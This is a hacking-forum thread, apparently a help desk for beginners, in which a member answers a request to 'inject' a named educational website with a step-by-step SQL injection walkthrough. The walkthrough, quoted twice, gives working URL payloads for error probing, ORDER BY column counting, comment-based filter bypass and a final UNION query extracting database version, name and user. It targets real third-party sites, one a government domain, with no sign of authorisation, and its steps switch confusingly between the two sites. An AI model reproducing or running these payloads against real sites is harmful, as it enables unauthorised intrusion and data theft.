(Sep 5, 2016 12:21 PM)roi1000 Wrote:  spirit...can I use ubuntu with the kali pack?
and also do you have some great tutorial or ebooks on social engineering?

(Sep 5, 2016 02:59 PM)Gachi Wrote:  Hey Spirit, I'm on Error Based String tutorial currently but I'm having an issue. Whenever I power off my Kali 1.10a it doesn't save any data. I've tried reinstalling it and using a virtual hard disk and a virtual disk image with 30GB but nothing seems to be working.

I'm currently using VirtualBox since it's free. Was working fine with latest version of Kali.

Edit: Nvm sorry I figured it out myself. 🤦‍♂

Thanks for the great tutorials 👍

(Sep 4, 2016 09:44 PM)spirited_wolf™ Wrote:  

Yeah you are taking right step. Best of luck mate 👍

And if you need any help then don't Hesitate to ask here 🙂

Thanks 🤝

(Sep 6, 2016 02:14 AM)Angel shanu Wrote:  thank you sir for the reply and i am learing sql and i have one question regarding this site-http://bvcbse.ac.in how can i inject here?

Sure let me tell try 👍
Target::

PHP Code


<?php 
http://bvcbse.ac.in/events.php?id=20 


So, lets start our SQL injection

lets try to get an error
by using single quote:- " ' "

PHP Code


<?php 
http://bvcbse.ac.in/events.php?id=20' [Error-Different page] 


Lets try to balance it using " -- - "

PHP Code


<?php 
http://bvcbse.ac.in/events.php?id=20' -- -  [No-Error] 


Lets find the total no. of columns using order by clause

PHP Code


<?php 
http://bvcbse.ac.in/events.php?id=20'+ORDER+BY+1-- - [No-Error]

http://bvcbse.ac.in/events.php?id=20'+ORDER+BY+10-- - [No-Error]

http://bvcbse.ac.in/events.php?id=20'+ORDER+BY+11-- - [Error] 


Means their are 10 total number's of columns. So, now lets check which column is vulnerable using u nion s elect statement

PHP Code


<?php 
http://bpc.gov.bd/contactus.php?id=10'+and+0+U NION+S ELECT+1,2,3,4,5,6,7,8,9,10-- -[Error] 


So if you will see correctly then your page is actually redirecting to the websites homepage so for it you can use No-Redirect addon in order to stop redirecting.

Check this thread you will get tutorial on this type websites here:-
==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==

So everything done:-

PHP Code


<?php 
http://bpc.gov.bd/contactus.php?id=10'+and+0+U NION+S ELECT+1,2,3,4,5,6,7,8,9,10-- -[Error] 


But we are still getting an ERROR because of white spaces.

Check this tutorial:-




So, now again lets try

PHP Code


<?php 
http://bpc.gov.bd/contactus.php?id=10'/**/and/**/0/**/U NION/**/S ELECT/**/1,2,3,4,5,6,7,8,9,10-- -[Error] 


So, column 2 and 3 are vulnerable you can see it in title bar.



So lets try our final query :-

Code

http://bvcbse.ac.in/events.php?id=.20'/**/and/**/@ x:=c oncat /**/(0x496e6a656374656420627920737069726974656420776f6c663c62723e56657273696f6e3a3a,v ersion(),0x3c62723e44617461626173653a3a,d atabase/**/(),0x3c62723e557365723a3a,u ser/**/())/**/U NION/**/S ELECT/**/1,2,@ x,4,5,6,7,8,9,10-- -

Done thanks 🤝

Hope you learned something new 👍
Check these thread 👍



==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==

==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters<==

==>An ultimate reference for all Beginners Hackers<==

Thanks 🤝

(Sep 6, 2016 02:14 AM)Angel shanu Wrote:  thank you sir for the reply and i am learing sql and i have one question regarding this site-http://bvcbse.ac.in how can i inject here?

(Sep 6, 2016 03:20 AM)Rubixa Wrote:  Help desk is going well, keep up the good work my friend.

(Sep 6, 2016 03:29 AM)Aakash_Choudhary Wrote:  Mine post ruined -_- 😠

(Sep 6, 2016 02:38 AM)spirited_wolf™ Wrote:  

Sure let me tell try 👍
Target::

PHP Code


<?php 
http://bvcbse.ac.in/events.php?id=20 


So, lets start our SQL injection

lets try to get an error
by using single quote:- " ' "

PHP Code


<?php 
http://bvcbse.ac.in/events.php?id=20' [Error-Different page] 


Lets try to balance it using " -- - "

PHP Code


<?php 
http://bvcbse.ac.in/events.php?id=20' -- -  [No-Error] 


Lets find the total no. of columns using order by clause

PHP Code


<?php 
http://bvcbse.ac.in/events.php?id=20'+ORDER+BY+1-- - [No-Error]

http://bvcbse.ac.in/events.php?id=20'+ORDER+BY+10-- - [No-Error]

http://bvcbse.ac.in/events.php?id=20'+ORDER+BY+11-- - [Error] 


Means their are 10 total number's of columns. So, now lets check which column is vulnerable using u nion s elect statement

PHP Code


<?php 
http://bpc.gov.bd/contactus.php?id=10'+and+0+U NION+S ELECT+1,2,3,4,5,6,7,8,9,10-- -[Error] 


So if you will see correctly then your page is actually redirecting to the websites homepage so for it you can use No-Redirect addon in order to stop redirecting.

Check this thread you will get tutorial on this type websites here:-
==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==

So everything done:-

PHP Code


<?php 
http://bpc.gov.bd/contactus.php?id=10'+and+0+U NION+S ELECT+1,2,3,4,5,6,7,8,9,10-- -[Error] 


But we are still getting an ERROR because of white spaces.

Check this tutorial:-




So, now again lets try

PHP Code


<?php 
http://bpc.gov.bd/contactus.php?id=10'/**/and/**/0/**/U NION/**/S ELECT/**/1,2,3,4,5,6,7,8,9,10-- -[Error] 


So, column 2 and 3 are vulnerable you can see it in title bar.



So lets try our final query :-

Code

http://bvcbse.ac.in/events.php?id=.20'/**/and/**/@ x:=c oncat /**/(0x496e6a656374656420627920737069726974656420776f6c663c62723e56657273696f6e3a3a,v ersion(),0x3c62723e44617461626173653a3a,d atabase/**/(),0x3c62723e557365723a3a,u ser/**/())/**/U NION/**/S ELECT/**/1,2,@ x,4,5,6,7,8,9,10-- -

Done thanks 🤝

Hope you learned something new 👍
Check these thread 👍



==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==

==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters<==

==>An ultimate reference for all Beginners Hackers<==

Thanks 🤝

(Sep 6, 2016 02:49 AM)Aakash_Choudhary Wrote:  For you :->

http://pastebin.com/CXfk5iYY

Thanks

(Sep 6, 2016 08:20 AM)Angel shanu Wrote:  thank you sir for teaching me new method and i have few questions regarding linux commands can you please help me with it?

(Sep 6, 2016 08:46 AM)Aakash_Choudhary Wrote:  I suggest you to learn linux from here :->

http://ryanstutorials.net/linuxtutorial/

Thanks

(Sep 6, 2016 09:04 AM)Aakash_Choudhary Wrote:  I didn't watch videos yet.

Its better to watch videos and read tutorials both.